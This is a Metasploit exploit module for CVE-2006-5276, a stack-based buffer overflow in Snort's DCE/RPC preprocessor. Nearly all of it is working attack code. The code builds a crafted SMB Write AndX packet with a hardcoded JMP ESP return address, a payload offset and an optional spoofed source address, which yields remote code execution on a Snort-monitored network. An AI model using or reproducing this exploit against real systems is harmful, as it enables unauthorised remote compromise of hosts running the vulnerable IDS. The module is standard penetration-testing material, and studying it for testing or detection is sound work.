Snort 2 DCE/RPC Preprocessor Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Capture  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Snort 2 DCE/RPC preprocessor Buffer Overflow',  
'Description' => %q{  
This module allows remote attackers to execute arbitrary code by exploiting the  
Snort service via crafted SMB traffic. The vulnerability is due to a boundary  
error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,  
which may result a stack-based buffer overflow with a specially crafted packet  
sent on a network that is monitored by Snort.  
  
Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.  
  
Any host on the Snort network may be used as the remote host. The remote host does not  
need to be running the SMB service for the exploit to be successful.  
},  
'Author' =>  
[  
'Neel Mehta', #Original discovery (IBM X-Force)  
'Carsten Maartmann-Moe <carsten[at]carmaa.com>' #Metasploit  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'References' =>  
[  
[ 'OSVDB', '67988' ],  
[ 'CVE', '2006-5276' ],  
[ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 390,  
'BadChars' => "\x00",  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[  
'Windows Universal',  
{  
'Ret' => 0x00407c01, # JMP ESP snort.exe  
'Offset' => 289 # The number of bytes before overwrite  
}  
],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Feb 19 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(139),  
OptAddress.new('RHOST', [ true, 'A host on the Snort-monitored network' ]),  
OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])  
], self.class)  
  
deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')  
end  
  
def exploit  
open_pcap  
  
shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)  
  
p = buildpacket(shost, rhost, rport.to_i)  
  
print_status("Sending crafted SMB packet from #{shost} to #{rhost}:#{rport}...")  
  
capture_sendto(p, rhost)  
  
handler  
end  
  
def buildpacket(shost, rhost, rport)  
p = PacketFu::TCPPacket.new  
p.ip_saddr = shost  
p.ip_daddr = rhost  
p.tcp_dport = rport  
p.tcp_flags.psh = 1  
p.tcp_flags.ack = 1  
  
# SMB packet borrowed from http://exploit-db.com/exploits/3362  
  
# NetBIOS Session Service, value is the number of bytes in the TCP segment,  
# must be greater than the total size of the payload. Statically set.  
header = "\x00\x00\xde\xad"  
  
# SMB Header  
header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"  
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"  
header << "\x00\x08\x30\x00"  
  
# Tree Connect AndX Request  
header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"  
header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"  
header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"  
header << "\x3f\x3f\x3f\x3f\x3f\x00"  
  
# NT Create AndX Request  
header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"  
header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"  
header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"  
header << "\x63\x00\x00\x00"  
  
# Write AndX Request #1  
header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"  
header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"  
header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"  
header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"  
header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"  
header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"  
header << "\x2b\x10\x48\x60\x02\x00\x00\x00"  
  
# Write AndX Request #2  
header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"  
header << "\x00\x48\x00\x00\x00\xff\x01"  
  
tail = "\x00\x00\x00\x00\x49\x00\xee"  
  
# Return address  
eip = [target['Ret']].pack('V')  
  
# Sploit  
sploit = make_nops(10)  
sploit << payload.encoded  
  
# Padding (to pass size check)  
sploit << make_nops(1)  
  
# The size to be included in Write AndX Request #2, including sploit payload  
requestsize = [(sploit.size() + target['Offset'])].pack('v')  
  
# Assemble the parts into one package  
p.payload = header << requestsize << tail << eip << sploit  
p.recalc  
  
p  
end  
end`